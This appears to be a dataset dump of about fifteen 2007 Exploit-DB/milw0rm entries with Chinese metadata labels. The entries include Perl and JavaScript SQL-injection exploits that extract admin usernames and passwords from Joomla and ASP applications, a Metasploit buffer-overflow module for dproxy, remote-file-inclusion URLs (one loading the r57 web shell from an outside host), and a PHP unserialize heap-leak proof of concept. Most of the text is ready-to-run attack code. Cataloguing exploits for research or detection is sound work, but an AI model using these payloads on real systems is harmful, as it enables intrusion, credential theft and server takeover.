QLWD/code_shield huggingface dataset:
标题: Joomla! Component Car Manager 1.1 - SQL Injection EDB-ID: 3564 CVE: 2007-1704 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-24 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Joomla Component Car Manager <= 1.1 Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "index.php?option=com_resman"
#[Contact    : :(
#[S.Page     : http://www.webformatique.net
#[$$         : .39.99
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   Joomla Component Car Manager <= 1.1 Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_resman&task=moreinfo&id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%20111,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),333%20from%20jos_users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)border/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-24] URL: https://www.exploit-db.com/exploits/3564
标题: Joomla! Component Joomlaboard 1.1.1 - 'sbp' Remote File Inclusion EDB-ID: 3560 CVE: 2006-5043 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-23 漏洞利用脚本: ######################################################
#
# Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities
# Joomlaboard Component 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities
#
######################################################
#
# script : http://forge.joomla.org/sf/frs/do/viewRelease/projects.simpleboard/frs.joomlaboard_component.joomlaboard_1_1_x_branch
#
######################################################
#
# files : /image_upload.php , /file_upload.php ,
#
######################################################
#
# Dork : index2.php?option=com_joomlaboard , allinurl:"com_joomlaboard"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell Crew
#
######################################################
#
# require_once("$sbp/sb_helpers.php");
# require_once("$sbp/sb_helpers.php");
#
######################################################
#
# exploit : http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt?
# http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt?
#
######################################################
#
# How To Fix It : U can put this code - defined( '_VALID_MOS' ) or die( 'Catch Me iF u Can ### Patched By Cold z3ro .' ); - after <?php code start
#
######################################################


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3560
标题: ttCMS 4 - 'ez_sql.php?lib_path' Remote File Inclusion EDB-ID: 3563 CVE: 2007-1708 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-24 漏洞利用脚本: DEVIL TEAM - HACKING POLISH TEAM

Author: Kacper (a.k.a Rahim)
Contact: kacper1964@yahoo.pl
Homepage: http://www.rahim.webd.pl/
Irc: irc.milw0rm.com:6667 #devilteam 
--------------------------------------------
Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.



ttCMS <= v4 (ez_sql.php lib_path) RFI Vulnerability
script download/homepage: http://www.ttcms.com/v4/


--------------------------------------------
Vulnerabilities:

http://site.com/ttCMS_path/lib/db/ez_sql.php?lib_path=[evil_code]

# milw0rm.com [2007-03-24] URL: https://www.exploit-db.com/exploits/3563
标题: dproxy 0.5 - Remote Buffer Overflow (Metasploit) EDB-ID: 3554 CVE: 2007-1465 类型: REMOTE 平台: LINUX 发布日期: 2007-03-23 漏洞利用脚本: # MetaSploit exploit for remote buffer overflow issue in dproxy
# Written in 2007 by Alexander Klink
# (c) 2007 Cynops GmbH
# released under the same license as MSF (Artistic, GPL dual-licensed)
# $Revision: 1.1 $

package Msf::Exploit::dproxy;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Udp;
use Pex::Text;

my $advanced = { };

my $info = {
    'Name'     => 'dproxy v0.1 - v0.5 buffer overflow exploit',
    'Version'  => '$Revision: 1.1 $',

    'Authors' => [ 'Alexander Klink, Cynops GmbH', ],
    'Arch'    => [ 'x86' ],
    'OS'      => [ 'linux'],
    'Priv'    => 0,

    'UserOpts'  => {
        'RHOST' => [1, 'ADDR', 'The target address'],
    },
    'Payload' => {
        'Space'     => 500,
        'BadChars'  => "\x00",
    },
    'Description'  => Pex::Text::Freeform(qq{
      This exploits a buffer overflow in dproxy version 0.1 to 0.5.
    }),
    'Refs' => [
        [ 'CVE', '2007-1465' ],
    ],

    'DefaultTarget' => 0,
    'Targets' => [
        ['Linux', 0xbfffe480],
    ],
    'Keys' => [ 'dproxy' ],
    'DisclosureDate' => 'Mar 20 2007',
};

sub new {
    my $class = shift;
    my $self = $class->SUPER::new(
        {
          'Info'     => $info,
          'Advanced' => $advanced
        }, @_
    );

    return $self;
}

sub Exploit {
  my $self = shift;

  my $targetHost     = $self->GetVar('RHOST');
  my $targetPort     = 53;
  my $targetIndex    = $self->GetVar('TARGET');
  my $srcPort        = $self->GetVar('CPORT');
  my $encodedPayload = $self->GetVar('EncodedPayload');
  my $shellcode      = $encodedPayload->Payload;
  my $target         = $self->Targets->[$targetIndex];

  if (! $self->InitNops(512)) {
      $self->PrintLine("Could not initialize the nop module");
      return;
  }
  my $sock = Msf::Socket::Udp->new(
    'PeerAddr'  => $targetHost,
    'PeerPort'  => $targetPort,
    'LocalPort' => $srcPort,
  );
  if($sock->IsError) {
    $self->PrintLine('Error creating socket: ' . $sock->GetError);
    return;
  }

  $self->PrintLine('Trying ' . $target->[0] . ' (' . $targetHost . ')');

  my $evil = 'A' x 1000 . $self->MakeNops(500) . $shellcode
      . 'A' x (2073 - 1500 - length($shellcode)) . pack('V', $target->[1]);

  $sock->Send($evil);

  return;
}

1;

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3554
标题: Joomla! / Mambo Component SWmenu 4.0 - Remote File Inclusion EDB-ID: 3557 CVE: 2007-1699 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-23 漏洞利用脚本: ######################################################
#
# MAMBO Modules SWmenu 4.0 (ImageManager.php) Remote File Include Vulnerabilities
#
######################################################
#
# script : http://mamboxchange.com/frs/download.php/8109/com_swmenufree4.0.zip
#
######################################################
#
# file :  /ImageManager/Classes/ImageManager.php
#
######################################################
#
# Dork :  index.php?option=com_swmenupro
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell
#
######################################################
#
# require_once($mosConfig_absolute_path."/administrator/components/com_swmenupro/ImageManager/Classes/Files.php");
#
######################################################
#
# Exploit :
#
#           Here one : http://www.example.com/MAMBO_path/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=Evil-script?
#
#                 Or : http://www.example.com/MAMBO_path/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=Evil-script?
#
######################################################


----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| | Kof2002 | |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper |
             All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3557
标题: PHP 5.2.1 - 'Unserialize()' Local Information Leak EDB-ID: 3559 CVE: 2007-1649 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-03-23 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP 5.2.1 unserialize() Information Leak Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");
  
  
  
  
  $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
  $arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);

  $heapdump = unserialize($str);
  
  
  
  
  echo "Heapdump\n---------\n\n";
  
  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3559
标题: eWebquiz 8 - 'eWebQuiz.asp' SQL Injection EDB-ID: 3558 CVE: 2010-2359 2007-1706 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-23 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>eWebquiz <= V.8 (eWebQuiz.asp) Remote SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: eWebquiz <= V.8 (eWebQuiz.asp) Remote SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.activewebsoftwares.com
//'[$$         : $ 599.00
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/eWebQuiz.asp?" //File name
   var acik ="QuizID=" // Line x
   var sql = "-1%20union%20select%201,2,3,4,5,6,7,1,2,3,4,5,6,7,8,9,1,2,3,4,5,1,2,3,111,password,0,1%20from%20admins"
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">eWebquiz <= V.8 (eWebQuiz.asp) Remote SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3558
标题: Active NewsLetter 4.3 - 'ViewNewspapers.asp' SQL Injection EDB-ID: 3556 CVE: 2007-1696 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-23 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Active Newsletter <= V.4.3 (ViewNewspapers.asp) Remote SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: Active Newsletter <= V.4.3 (ViewNewspapers.asp) Remote SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.activewebsoftwares.com
//'[$$         : $ 499.00
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/ViewNewspapers.asp?" //File name
   var acik ="NewsPaperID=" // Line x
   var sql = "-34535353534%20union%20select%20password%20from%20admins"
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Active Newsletter <= V.4.3 (ViewNewspapers.asp) Remote SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3556
标题: ActiveBuyandSell 6.2 - 'buyersend.asp?catid' SQL Injection EDB-ID: 3550 CVE: 2005-2062 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-23 漏洞利用脚本: #Title  : Active BuyandSell Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.activewebsoftwares.com/demoactivebuyandsell
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=8

#Vuln.

#Username : /buyersend.asp?catid=-1+union+select+0,1,2,3,4,5,6,adminname,8,9,0,1,2,3,4,5,6+from+admins
#Password : /buyersend.asp?catid=-1+union+select+0,1,2,3,4,5,6,password,8,9,0,1,2,3,4,5,6+from+admins

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3550
标题: Philex 0.2.3 - Remote File Inclusion / File Disclosure EDB-ID: 3552 CVE: 2007-1698 2007-1697 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-23 漏洞利用脚本: ######################################################
# Philex 0.2.3 <= Remote File(Disclosure/Include)Vulnerabilities
# D.Script: http://kent.dl.sourceforge.net/sourceforge/philex/philex_0.2.3.tgz
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
######################################################
# V.Code Include:                                    #
# <?include $CssFile;?>                              #
# Exploit Remote File Include:                       #
# [Path_Philex]/header.inc.php?CssFile=Shell         #
######################################################
# V.Code Disclosure:                                 #
# readfile($HTTP_GET_VARS["file"]);                  #
# Exploit Remote File Disclosure:                    #
# [Path_Philex]/download.php?file=conf.inc.php       #
######################################################

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3552
标题: Active Trade 2 - 'catid' SQL Injection EDB-ID: 3549 CVE: 2007-1705 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-23 漏洞利用脚本: #Title  : Active Trade Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.activewebsoftwares.com/demoactivetrade
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=32

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid=1
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid=1

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3549
标题: AspWebCalendar 4.5 - 'eventid' SQL Injection EDB-ID: 3546 CVE: 2004-1552 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-22 漏洞利用脚本: *******************************************************************************
# Title   :  aspWebCalendar Remote SQL Injection Vulnerability
# Author  :  parad0x
# Contact :  :(
# D.Page  :  http://www.scriptdungeon.com/script.php?ScriptID=4306
# $$      :  free
#S.Page : http://fullrevolution.com
*******************************************************************************
http://[target]/[path]/calendar.asp?action=viewevent&eventid=[SQL]

Example:

/calendar.asp?action=viewevent&eventid=-1%20union%20select%200,Cal_ConfigId,Cal_ConfigAdminPassword,3,4,5,6,7,8,9%20from%20Cal_config

"""""""""""""""""""""
greetz : VoLqaN, x-MastER,Ekin0x,xoron

"""""""""""""""""""""
www.p4r4d0x.com

# milw0rm.com [2007-03-22] URL: https://www.exploit-db.com/exploits/3546
标题: ClassWeb 2.0.3 - 'BASE' Remote File Inclusion EDB-ID: 3542 CVE: 2007-1640 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-22 漏洞利用脚本: # ClassWeb <= 2.03 Remote File Include Vulnerabilities
# D.Script: http://sourceforge.net/projects/classweb/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Exploit: 
# [path]/classweb/language.php?BASE=Shell
# [Path]/classweb/phpadmin/survey.php?BASE=Shell

# milw0rm.com [2007-03-22] URL: https://www.exploit-db.com/exploits/3542
标题: Active Auction Pro 7.1 - 'default.asp?catid' SQL Injection EDB-ID: 3551 CVE: 2007-1712 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-23 漏洞利用脚本: #Title  : Active Auction Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.activewebsoftwares.com/demoactiveauction
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=1

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid=1
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid=1

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-23] URL: https://www.exploit-db.com/exploits/3551
标题: PortailPhp 2.0 - 'idnews' SQL Injection EDB-ID: 3543 CVE: 2007-1641 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-22 漏洞利用脚本: use LWP::Simple;
print "
Exploit Coded (c) by xoron
Portail PHP v20 (index.php) Remote SQL Injection Exploit
Languages: Turkish, English
Plz Select Language:";
$dil = <stdin>;
%eng = (
"site" => "Enter The Victim Without http://:",
"path" => "Plz Select Path:",
"id" => "Plz Select User ID:"
);
%turk = (
"site" => "Site Adi http:// ile baslayan:",
"path" => "Dizin:",
"id" => "ID: "
);
if($dil=~/^turkish$/i){
%dil = %turk;
}
elsif($dil=~/^english$/i){
%dil = %eng;
}
else{print "Undefined Language"; exit}
print $dil{site};
chop($site=<stdin>);
$site = "http://$site" if !($site=~/^http/);
print $dil{path};
chop($dir=<stdin>);
$dir = "/portailphp/" if !$dir;
print $dil{id};
chop($id =<stdin>);
$id = 2 if !$id;
print "Connecting to $site\n";
$sql = "index.php?affiche=Comment&act=lire&idnews=-1/**/union/**/select/**/0,";
$sql .= "1,2,US_pwd,4,5,6,7,8,9,10/**/from/**/pphp_user/**/where/**/US_uid=$id/*";
$get = get("$site$dir$sql");
if($get){
if($get=~/<td><strong>\&nbsp\;\&nbsp\;(.*?)<\/strong>/){
print "You are very Lucky Boy\nI Got Hash 4 ya\nID: $id\nHash: $1";
exit
}
elsif($get=~/<td><strong>(.*?)<\/strong>/){
print "Yep I got hash 4 ya\nID: $id\nHash: $1\n";
exit;
}
else{print "Exploit Failed\n";exit}
}
print "Connect Failed to $site\n";
exit;

# milw0rm.com [2007-03-22] URL: https://www.exploit-db.com/exploits/3543